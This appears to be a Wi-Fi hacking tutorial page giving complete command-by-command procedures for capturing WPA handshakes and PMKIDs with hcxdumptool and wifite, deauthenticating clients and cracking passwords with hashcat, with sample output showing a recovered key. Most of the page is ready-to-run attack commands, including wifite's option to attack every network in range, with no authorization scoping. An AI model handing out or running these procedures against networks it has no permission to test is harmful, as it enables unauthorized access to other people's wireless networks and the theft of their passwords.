> For the complete documentation index, see [llms.txt](https://wifi-hacking.cavementech.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://wifi-hacking.cavementech.com/automated-wifi-cracking-tools.md).

# Automated WIFI Cracking Tools

### hcxdumptool

hcxdumptool is an active Wi-Fi capture tool that combines scanning, packet injection, PMKID capture, and handshake collection into a single command. It outputs the modern `.pcapng` format which feeds directly into hcxpcapngtool and hashcat.

#### How It Works

hcxdumptool uses three attack vectors simultaneously by default:

1. **PMKID** — associates with the AP and requests a PMKID (no client needed)
2. **Full handshake** — disassociates connected clients to force a fresh M1M2M3M4 exchange
3. **Rogue client** — allows clients to connect to hcxdumptool itself to capture M1M2

All three are captured into the same `.pcapng` file and converted together by hcxpcapngtool.

#### Prerequisites

Kill all processes competing for the interface first:

```bash
sudo airmon-ng check kill
```

#### Step 1 — Recon

Survey what is in range before attacking. Passive mode — no frames sent, just listening:

```bash
sudo hcxdumptool -i wlan0 --rcascan=p --rds=3
```

| Flag          | Description                                                 |
| ------------- | ----------------------------------------------------------- |
| `--rcascan=p` | Passive scan — listen only, no injection                    |
| `--rds=3`     | Real-time display — show all APs sorted by RSSI             |
| `-F`          | Optional — scan all available frequencies (not just 1/6/11) |

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2FzZcbmDF2FHAMSlpVJEjk%2Fimage.png?alt=media&amp;token=1fa70497-0ac2-41a5-bedb-64ae22df8c0f" alt=""><figcaption></figcaption></figure>

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2FFUml1oB1KjqJURMMI1hr%2Fimage.png?alt=media&amp;token=08430e29-f4a7-4f7e-bc2c-a43e18d394d5" alt=""><figcaption></figcaption></figure>

Note the target **channel** and **BSSID** from the output for the next step.

&#x20;Channel numbers in v7 require a band suffix — `6a` (2.4 GHz), `36b` (5 GHz), `6c` (6 GHz). The rcascan display may report the channel hcxdumptool was on when it heard the beacon rather than the AP's actual channel. Cross-check with airodump-ng if unsure.&#x20;

#### Step 2 — Attack / Capture

Lock to the target channel and capture PMKID and handshakes:

```bash
sudo hcxdumptool -i wlan0 -w capture.pcapng --rds=3 -c 6a
```

| Flag                | Description                                    |
| ------------------- | ---------------------------------------------- |
| `-w capture.pcapng` | Output file (pcapng format)                    |
| `--rds=3`           | Show all APs and clients with capture progress |
| `-c 6a`             | Lock to channel 6, 2.4 GHz band                |
| `-F`                | Alternative to `-c` — sweep all frequencies    |

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2FiwdJGEysozDk1QuORTDJ%2Fimage.png?alt=media&amp;token=ddc5d3be-e0a0-413c-8b83-c0169b55c00a" alt=""><figcaption></figcaption></figure>

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2FqvJvJsq1tnK7CphzlLlx%2Fimage.png?alt=media&amp;token=49b36b66-8412-4932-8443-ef46a647f561" alt=""><figcaption></figcaption></figure>

#### Reading the capture display

```
6|12:27:56|ep+++|286c076ff944|f09fc2712212|wifi-mobile
```

| Column         | Meaning                                     |
| -------------- | ------------------------------------------- |
| `6`            | Channel                                     |
| `12:27:56`     | Timestamp                                   |
| `e`            | Encrypted                                   |
| `p`            | PSK (pre-shared key)                        |
| `+` (1st)      | M1 received                                 |
| `+` (2nd)      | M2 received — handshake crackable           |
| `+` (3rd)      | M3 received — full handshake                |
| `P`            | PMKID captured — crackable without a client |
| `286c076ff944` | Client MAC                                  |
| `f09fc2712212` | AP BSSID                                    |
| `wifi-mobile`  | SSID                                        |

You need either `++` in positions 1-2 **or** `P` to have something crackable.

On simulated/virtual adapters (mac80211\_hwsim) active injection does not work. Use `--rcascan=p` flag for passive-only capture. The tool still writes to the output file — it just relies on overhearing natural client authentications rather than triggering them.&#x20;

#### Step 3 — Convert

Convert the pcapng capture to hashcat format 22000:

```bash
hcxpcapngtool wifi-capture.pcapng -o hash.22000
```

hcxpcapngtool prints a summary showing exactly what was extracted:

```
handshakes (cleaned).....................: 3
best handshakes (for use with hashcat)...: 3
PMKID (EAPOL)............................: 2
```

If both fields are 0 — nothing crackable was captured. Recapture with a longer dwell time or force a handshake with aireplay-ng deauth.

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2Fp983wept2ZmgS4xXYw5M%2Fimage.png?alt=media&amp;token=57a4f799-98b3-437b-89e2-d45f05b0a689" alt=""><figcaption></figcaption></figure>

#### Step 4 — Crack

```bash
sudo hashcat -a 0 -m 22000 hash.22000 ~/rockyou-top100000.txt --force
```

| Flag       | Description                                              |
| ---------- | -------------------------------------------------------- |
| `-a 0`     | Dictionary attack                                        |
| `-m 22000` | WPA-PBKDF2-PMKID+EAPOL — covers both handshake and PMKID |
| `--force`  | Override warnings (required in VM environments)          |

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2FjjeGtikFAYjTO6Or9OIW%2Fimage.png?alt=media&amp;token=773d443b-c240-425b-9981-ed20928bcb64" alt=""><figcaption></figcaption></figure>

If hashcat exits immediately with no output — check `~/.hashcat/hashcat.potfile`. It may have already cracked and cached this hash. Delete the potfile and run again: `rm ~/.hashcat/hashcat.potfile`&#x20;

#### Quick Reference

| Step            | Command                                                                 |
| --------------- | ----------------------------------------------------------------------- |
| Kill conflicts  | `sudo airmon-ng check kill`                                             |
| Recon (passive) | `sudo hcxdumptool -i wlan0 --rcascan=p --rds=3`                         |
| Capture         | `sudo hcxdumptool -i wlan0 -w capture.pcapng --rds=3 -c 6a`             |
| Convert         | `hcxpcapngtool wifi-capture.pcapng -o hash.22000`                       |
| Crack           | `sudo hashcat -a 0 -m 22000 hash.22000 ~/rockyou-top100000.txt --force` |

#### Channel Band Suffix Reference

| Band    | Suffix | Example              |
| ------- | ------ | -------------------- |
| 2.4 GHz | `a`    | `6a`, `11a`, `1a`    |
| 5 GHz   | `b`    | `36b`, `44b`, `149b` |
| 6 GHz   | `c`    | `6c`, `36c`          |

#### hcxdumptool vs airodump-ng

| Feature            | airodump-ng                     | hcxdumptool               |
| ------------------ | ------------------------------- | ------------------------- |
| Interface needed   | Monitor mode (`wlan0mon`)       | Raw interface (`wlan0`)   |
| PMKID capture      | No                              | Yes                       |
| Active injection   | No (needs aireplay-ng)          | Built in                  |
| Output format      | `.cap`                          | `.pcapng`                 |
| Simulated adapters | Works fully                     | Passive only              |
| Best for           | Lab environments / sim adapters | Real hardware engagements |

### Wifite

wifite is a fully automated Wi-Fi auditing tool. You select a target from a list — it handles everything else. PMKID capture, WPA handshake capture, triple validation, and hashcat cracking — all without further input.

**wifite in one sentence:** Pick a target, walk away, come back to a cracked password.&#x20;

#### How It Works

wifite orchestrates multiple tools internally in a fixed sequence:

1. **Scan** — runs airodump-ng internally, presents a numbered network list
2. **Select** — you choose the target (only manual step)
3. **PMKID attack** — tries PMKID capture first (fastest, no client needed)
4. **Handshake capture** — deauths a client, captures M1M2M3M4 on reconnect
5. **Triple validation** — checks capture with tshark, cowpatty, and aircrack
6. **Crack** — runs hashcat mode 22000 automatically
7. **Save** — stores `.cap` files, `.22000` hash files, and `cracked.json`

***

#### Prerequisites

```bash
sudo airmon-ng start wlan0
```

***

#### Step 1 — Launch wifite

```bash
sudo wifite -i wlan0mon
```

wifite scans and presents every network in range:

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2FB7tNhVZWazxhA4Reyfly%2Fimage.png?alt=media&amp;token=760d5e50-659b-4df0-93d9-2c862845763a" alt=""><figcaption></figcaption></figure>

| Column | Meaning                                   |
| ------ | ----------------------------------------- |
| NUM    | Target number to type at the prompt       |
| ESSID  | Network name — `*` means already selected |
| CH     | Channel                                   |
| ENCR   | Encryption type                           |
| PWR    | Signal strength (dBm)                     |
| WPS    | WPS enabled — additional attack surface   |
| CLIENT | Clients currently connected               |

**Encryption types:**

| Type   | Meaning                                               |
| ------ | ----------------------------------------------------- |
| WEP    | Old — trivially crackable                             |
| WPA2-P | WPA2 PSK — password-based, target for PMKID/handshake |
| WPA3-S | SAE — strongest, much harder to attack                |
| OPN    | Open — no password                                    |

***

#### Step 2 — Select Target

```
[+] Select target(s) (1-10) separated by commas, dashes or all: 9
```

| Input   | Effect                           |
| ------- | -------------------------------- |
| `9`     | Single target                    |
| `1,3,9` | Multiple targets                 |
| `1-5`   | Range                            |
| `all`   | Attack every network in the list |

wifite confirms and begins automatically:

```
[+] (1/1) Starting attacks against F0:9F:C2:71:22:12 (wifi-mobile)
```

**No further input needed from this point.**

Even if PMKID is cracked immediately, wifite continues to capture the WPA handshake — giving you double confirmation and a reusable `.cap` file for future cracking with different wordlists.&#x20;

#### Step 3 — PMKID Capture + Crack

wifite tries PMKID first — no client required:

```
[+] wifi-mobile (72db) PMKID CAPTURE: Captured PMKID
[+] wifi-mobile (72db) PMKID CRACK: Cracking PMKID using /usr/share/dict/wordlist-probable.txt ...
[+] wifi-mobile (72db) PMKID CRACKED: Key: starwars1
```

PMKID requires no client connected to the AP. wifite sends an association request — the AP responds with the PMKID automatically. If the password is in the wordlist, it cracks in seconds.&#x20;

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2FUlpTh7JATQiW3jMunZjU%2Fimage.png?alt=media&amp;token=34449f0e-f92f-4722-8bc8-d80f34e2f469" alt=""><figcaption></figcaption></figure>

***

#### Step 4 — WPA Handshake Capture + Triple Validation + Crack

wifite simultaneously captures the WPA handshake:

```
[+] wifi-mobile WPA Handshake capture: Discovered new client: 28:6C:07:6F:F9:44
[+] wifi-mobile WPA Handshake capture: Captured handshake
[+] saving copy of handshake to hs/handshake_wifimobile_F0-9F-C2-71-22-12_2026-04-13T01-44-25.cap
```

#### Triple Validation

wifite validates every capture with three tools before cracking:

| Tool     | What it checks                                                   |
| -------- | ---------------------------------------------------------------- |
| tshark   | Confirms a valid EAPOL handshake is present for the target BSSID |
| cowpatty | Verifies the handshake is complete enough for offline cracking   |
| aircrack | Confirms the handshake is associated with the correct SSID       |

```
[+] tshark: .cap file contains a valid handshake for (f0:9f:c2:71:22:12)
[+] cowpatty: .cap file contains a valid handshake for [wifi-mobile]
[+] aircrack: .cap file contains a valid handshake for (F0:9F:C2:71:22:12)
```

#### Crack

<figure><img src="https://566300827-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FpRJWncf6N0vRLq29OrFf%2Fuploads%2FF5FwcQ6AFHJdEn0ndX5x%2Fimage.png?alt=media&amp;token=fe8cd02f-9574-43eb-8182-6e86cd88ecb9" alt=""><figcaption></figcaption></figure>

***

#### Step 5 — Results Saved

wifite prints the final result and saves everything:

```
[+]   Access Point Name: wifi-mobile
[+]  Access Point BSSID: F0:9F:C2:71:22:12
[+]          Encryption: WPA
[+]      Handshake File: hs/handshake_wifimobile_F0-9F-C2-71-22-12_2026-04-13T01-44-25.cap
[+]      PSK (password): starwars1
[+] saved result to cracked.json (1 total)
[+] Finished attacking 1 target(s), exiting
```

#### Files Saved Automatically

| File           | Contents                                              |
| -------------- | ----------------------------------------------------- |
| `hs/*.22000`   | PMKID hash — re-crack independently with any wordlist |
| `hs/*.cap`     | WPA handshake capture — reusable with any wordlist    |
| `cracked.json` | All cracked passwords from the session — JSON format  |

View results:

```bash
cat cracked.json
```

Re-crack with a different wordlist:

```bash
hashcat -a 0 -m 22000 hs/*.22000 ~/rockyou.txt --force
```

***

#### Command Summary

| Action                     | Command                                                   |
| -------------------------- | --------------------------------------------------------- |
| Start monitor mode         | `sudo airmon-ng start wlan0`                              |
| Launch wifite              | `sudo wifite -i wlan0mon`                                 |
| Select single target       | Type `9` at the prompt                                    |
| Select multiple            | Type `1,3,9` or `1-5`                                     |
| Attack all networks        | Type `all`                                                |
| View saved results         | `cat cracked.json`                                        |
| Re-crack with new wordlist | `hashcat -a 0 -m 22000 hs/*.22000 ~/wordlist.txt --force` |

***

#### wifite vs hcxdumptool vs Manual

|                     | Manual (airodump-ng)  | hcxdumptool           | wifite                            |
| ------------------- | --------------------- | --------------------- | --------------------------------- |
| Manual steps        | Many                  | Few                   | One (target selection)            |
| PMKID support       | No                    | Yes                   | Yes                               |
| Bulk capture        | No                    | Yes                   | No (sequential)                   |
| Auto cracking       | No                    | No                    | Yes                               |
| Validation          | No                    | No                    | Triple (tshark/cowpatty/aircrack) |
| Saves results       | Manual                | Manual                | Automatic (cracked.json)          |
| Sim adapter support | Full                  | Passive only          | Full                              |
| Best for            | Lab / precise control | Long bulk assessments | Quick single-target audits        |